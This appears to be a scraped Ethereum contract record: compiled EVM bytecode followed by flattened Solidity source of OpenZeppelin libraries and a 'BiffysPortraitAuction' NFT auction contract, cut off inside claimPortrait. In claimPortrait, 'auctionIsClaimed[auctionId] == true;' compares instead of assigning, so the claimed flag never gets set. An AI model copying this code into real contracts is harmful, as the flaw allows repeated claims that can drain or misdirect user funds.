9a0000000000000000000000000000000000000000000000000000000008152600401610d399061199b565b60405180910390fd5b5b6000151583151514610d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8190611a7b565b60405180910390fd5b610e26565b828015610d9c5750600085115b15610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd390611a9b565b60405180910390fd5b82610e255760008511610e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1b906119bb565b60405180910390fd5b5b5b5b6000821115610f7c576040518060800160405280600060ff1681526020016000800b815260200183815260200160001515815250600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088815260200190815260200160002060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360000b60ff1602179055506040820151816001015560608201518160020160006101000a81548160ff0219169083151502179055509050508673ffffffffffffffffffffffffffffffffffffffff167fccc598b19daa143c45a479be583bd8fc1d7c15b14116bb8a89deefa2867284e38760008060008743604051610f6f96959493929190611b1f565b60405180910390a2611231565b826110da57600181610f8e9190611cc1565b915060405180608001604052808660ff1681526020018560000b815260200183815260200160001515815250600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088815260200190815260200160002060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360000b60ff1602179055506040820151816001015560608201518160020160006101000a81548160ff0219169083151502179055509050508673ffffffffffffffffffffffffffffffffffffffff167fccc598b19daa143c45a479be583bd8fc1d7c15b14116bb8a89deefa2867284e3878787600087436040516110cd96959493929190611ba9565b60405180910390a2611230565b6001816110e79190611cc1565b915060405180608001604052808660ff1681526020016000800b815260200183815260200160011515815250600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088815260200190815260200160002060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360000b60ff1602179055506040820151816001015560608201518160020160006101000a81548160ff0219169083151502179055509050508673ffffffffffffffffffffffffffffffffffffffff167fccc598b19daa143c45a479be583bd8fc1d7c15b14116bb8a89deefa2867284e3878760006001874360405161122796959493929190611c0a565b60405180910390a25b5b8673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330896040518463ffffffff1660e01b815260040161126e939291906118c4565b600060405180830381600087803b15801561128857600080fd5b505af115801561129c573d6000803e3d6000fd5b5050505050505050505050565b6000806000806000600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008781526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff1660ff1660ff1681526020016000820160019054906101000a900460000b60000b60000b8152602001600182015481526020016002820160009054906101000a900460ff16151515158152505090506000816040015114156113b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ac9061195b565b60405180910390fd5b806000015181602001518260400151836060015194509450945094505092959194509250565b6000813590506113ea81612033565b92915050565b6000815190506113ff81612033565b92915050565b6000813590506114148161204a565b92915050565b6000815190506114298161204a565b92915050565b60008135905061143e81612061565b92915050565b60008151905061145381612061565b92915050565b60008135905061146881612078565b92915050565b60008151905061147d81612078565b92915050565b60006020828403121561149557600080fd5b60006114a3848285016113f0565b91505092915050565b600080604083850312156114bf57600080fd5b60006114cd858286016113db565b92505060206114de85828601611459565b9150509250929050565b6000806000606084860312156114fd57600080fd5b600061150b868287016113db565b935050602061151c86828701611459565b925050604061152d86828701611459565b9150509250925092565b60008060008060008060c0878903121561155057600080fd5b600061155e89828a016113db565b965050602061156f89828a01611459565b955050604061158089828a01611459565b945050606061159189828a0161142f565b93505060806115a289828a01611405565b92505060a06115b389828a01611459565b9150509295509295509295565b6000602082840312156115d257600080fd5b60006115e08482850161141a565b91505092915050565b6000602082840312156115fb57600080fd5b60006116098482850161146e565b91505092915050565b6000806040838503121561162557600080fd5b60006116338582860161146e565b925050602061164485828601611444565b9150509250929050565b61165781611d17565b82525050565b61166681611d29565b82525050565b61167581611d35565b82525050565b61168481611d79565b82525050565b61169381611d8b565b82525050565b60006116a6600583611cb0565b91506116b182611dcc565b602082019050919050565b60006116c9601383611cb0565b91506116d482611df5565b602082019050919050565b60006116ec601683611cb0565b91506116f782611e1e565b602082019050919050565b600061170f600783611cb0565b915061171a82611e47565b602082019050919050565b6000611732601083611cb0565b915061173d82611e70565b602082019050919050565b6000611755601483611cb0565b915061176082611e99565b602082019050919050565b6000611778600f83611cb0565b915061178382611ec2565b602082019050919050565b600061179b600783611cb0565b91506117a682611eeb565b602082019050919050565b60006117be600583611cb0565b91506117c982611f14565b602082019050919050565b60006117e1600c83611cb0565b91506117ec82611f3d565b602082019050919050565b6000611804600e83611cb0565b915061180f82611f66565b602082019050919050565b6000611827600983611cb0565b915061183282611f8f565b602082019050919050565b600061184a600f83611cb0565b915061185582611fb8565b602082019050919050565b600061186d600e83611cb0565b915061187882611fe1565b602082019050919050565b6000611890600483611cb0565b915061189b8261200a565b602082019050919050565b6118af81611d62565b82525050565b6118be81611d6c565b82525050565b60006060820190506118d9600083018661164e565b6118e6602083018561164e565b6118f360408301846118a6565b949350505050565b6000602082019050818103600083015261191481611699565b9050919050565b60006020820190508181036000830152611934816116bc565b9050919050565b60006020820190508181036000830152611954816116df565b9050919050565b6000602082019050818103600083015261197481611702565b9050919050565b6000602082019050818103600083015261199481611725565b9050919050565b600060208201905081810360008301526119b481611748565b9050919050565b600060208201905081810360008301526119d48161176b565b9050919050565b600060208201905081810360008301526119f48161178e565b9050919050565b60006020820190508181036000830152611a14816117b1565b9050919050565b60006020820190508181036000830152611a34816117d4565b9050919050565b60006020820190508181036000830152611a54816117f7565b9050919050565b60006020820190508181036000830152611a748161181a565b9050919050565b60006020820190508181036000830152611a948161183d565b9050919050565b60006020820190508181036000830152611ab481611860565b9050919050565b60006020820190508181036000830152611ad481611883565b9050919050565b6000602082019050611af060008301846118a6565b92915050565b6000604082019050611b0b60008301856118a6565b611b18602083018461166c565b9392505050565b600060c082019050611b3460008301896118a6565b611b41602083018861168a565b611b4e604083018761167b565b611b5b606083018661165d565b611b6860808301856118a6565b611b7560a08301846118a6565b979650505050505050565b6000604082019050611b9560008301856118a6565b611ba260208301846118a6565b9392505050565b600060c082019050611bbe60008301896118a6565b611bcb60208301886118a6565b611bd8604083018761166c565b611be5606083018661165d565b611bf260808301856118a6565b611bff60a08301846118a6565b979650505050505050565b600060c082019050611c1f60008301896118a6565b611c2c60208301886118a6565b611c39604083018761167b565b611c46606083018661165d565b611c5360808301856118a6565b611c6060a08301846118a6565b979650505050505050565b6000608082019050611c8060008301876118b5565b611c8d602083018661166c565b611c9a60408301856118a6565b611ca7606083018461165d565b95945050505050565b600082825260208201905092915050565b6000611ccc82611d62565b9150611cd783611d62565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d0c57611d0b611d9d565b5b828201905092915050565b6000611d2282611d42565b9050919050565b60008115159050919050565b60008160000b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611d8482611d35565b9050919050565b6000611d9682611d62565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f6f776e6572000000000000000000000000000000000000000000000000000000600082015250565b7f696f6e4368617267655f666f7262696464656e00000000000000000000000000600082015250565b7f61746f6d69634e756d6265725f666f7262696464656e00000000000000000000600082015250565b7f6e6f5f64726f7000000000000000000000000000000000000000000000000000600082015250565b7f61746f6d69634e756d6265725f6d617800000000000000000000000000000000600082015250565b7f696e76616c69645f6368617267655f72616e6765000000000000000000000000600082015250565b7f6e6f5f61746f6d69634e756d6265720000000000000000000000000000000000600082015250565b7f746f6b656e496400000000000000000000000000000000000000000000000000600082015250565b7f6973496f6e000000000000000000000000000000000000000000000000000000600082015250565b7f61746f6d69634e756d6265720000000000000000000000000000000000000000600082015250565b7f696e76616c69645f636861726765000000000000000000000000000000000000600082015250565b7f696f6e4368617267650000000000000000000000000000000000000000000000600082015250565b7f6973496f6e5f666f7262696464656e0000000000000000000000000000000000600082015250565b7f6973496f6e5f7370656369666963000000000000000000000000000000000000600082015250565b7f6f6b617900000000000000000000000000000000000000000000000000000000600082015250565b61203c81611d17565b811461204757600080fd5b50565b61205381611d29565b811461205e57600080fd5b50565b61206a81611d35565b811461207557600080fd5b50565b61208181611d62565b811461208c57600080fd5b5056fea264697066735822122058a51308b429dbac4a6475a4ea858542bfa8ff2c8c08890f64774d098efa873f64736f6c63430008040033
[ 17 ]
0xf24c20766909c7cc46a1fe68736abd632a8f94aa
// File: @openzeppelin\upgrades\contracts\Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\GSN\Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\token\ERC20\IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\math\SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\token\ERC20\ERC20.sol pragma solidity ^0.5.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Initializable, Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } uint256[50] private ______gap; } // File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\ERC20Burnable.sol pragma solidity ^0.5.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ contract ERC20Burnable is Initializable, Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev See {ERC20-_burnFrom}. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } uint256[50] private ______gap; } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\introspection\IERC165.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC721\IERC721.sol pragma solidity ^0.5.0; /** * @dev Required interface of an ERC721 compliant contract. */ contract IERC721 is Initializable, IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) public view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) public view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) public; function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } // File: @openzeppelin\contracts-ethereum-package\contracts\ownership\Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable is Initializable, Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function initialize(address sender) public initializer { _owner = sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private ______gap; } // File: @openzeppelin\contracts-ethereum-package\contracts\utils\Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: contracts\library\BasisPoints.sol /** * Created on: 5/9/2020 * @summary: Basis points math calculations. * @author: Ethereal */ pragma solidity 0.5.17; library BasisPoints { using SafeMath for uint; uint constant private BASIS_POINTS = 10000; /** * @dev : Calculates percentage of uint with basis points. * @param amt : Amount to multiply by bp. * @param bp : Basis Points to multiply with. 100 BP is 1%. * @return : Amount * BP / 10000. */ function mulBP(uint amt, uint bp) internal pure returns (uint) { if (amt == 0) return 0; return amt.mul(bp).div(BASIS_POINTS); } function addBP(uint amt, uint bp) internal pure returns (uint) { if (amt == 0) return 0; if (bp == 0) return amt; return amt.add(mulBP(amt, bp)); } function subBP(uint amt, uint bp) internal pure returns (uint) { if (amt == 0) return 0; if (bp == 0) return amt; return amt.sub(mulBP(amt, bp)); } } // File: contracts\BiffysPortraitAuction.sol pragma solidity 0.5.17; contract BiffysPortraitAuction is Initializable, Ownable { using SafeMath for uint; using BasisPoints for uint; using Address for address; struct Auction { uint portraitId; uint startingBid; uint minIncreaseBP; uint artistComissionBP; uint timerSeconds; uint startTime; address artist; } ERC20Burnable lovePoints; IERC721 biffysPortraits; uint public auctionNonce; mapping(address => uint) public loveBalances; mapping(uint => uint) public auctionEndTime; mapping(uint => address) public auctionLastBidder; mapping(uint => uint) public auctionLastBid; mapping(uint => bool) public auctionIsClaimed; mapping(uint => Auction) public auctions; function initialize( ERC20Burnable _lovePoints, IERC721 _biffysPortraits, address _owner ) external initializer { Ownable.initialize(_owner); lovePoints = _lovePoints; biffysPortraits = _biffysPortraits; } function startAuction( uint _portraitId, uint _startingBid, uint _minIncreaseBP, uint _artistComissionBP, uint _timerSeconds, uint _startTime, address _artist ) external onlyOwner { biffysPortraits.transferFrom(msg.sender,address(this), _portraitId); auctions[auctionNonce] = Auction( _portraitId, _startingBid, _minIncreaseBP, _artistComissionBP, _timerSeconds, _startTime, _artist ); auctionEndTime[auctionNonce] = _startTime.add(_timerSeconds); auctionNonce = auctionNonce.add(1); } function claimPortrait(uint auctionId) external { Auction memory auction = auctions[auctionId]; require(now > auctionEndTime[auctionId], "Auction not ended"); require(now > auction.startTime && auction.startTime != 0, "Auction not started"); require(auctionLastBidder[auctionId] != address(0x0), "No winner"); require(auctionIsClaimed[auctionId] == false, "Already claimed"); auctionIsClaimed[auctionId] == true; uint bid = auctionLastBid[auctionId]; if(auction.artist != address(0x0)) { uint comission = bid.mulBP(auction.artistComissionBP); require(lovePoints.transfer(auction.artist,comission),"Transfer failed."); lovePoints.burn(bid.sub(comission)); } 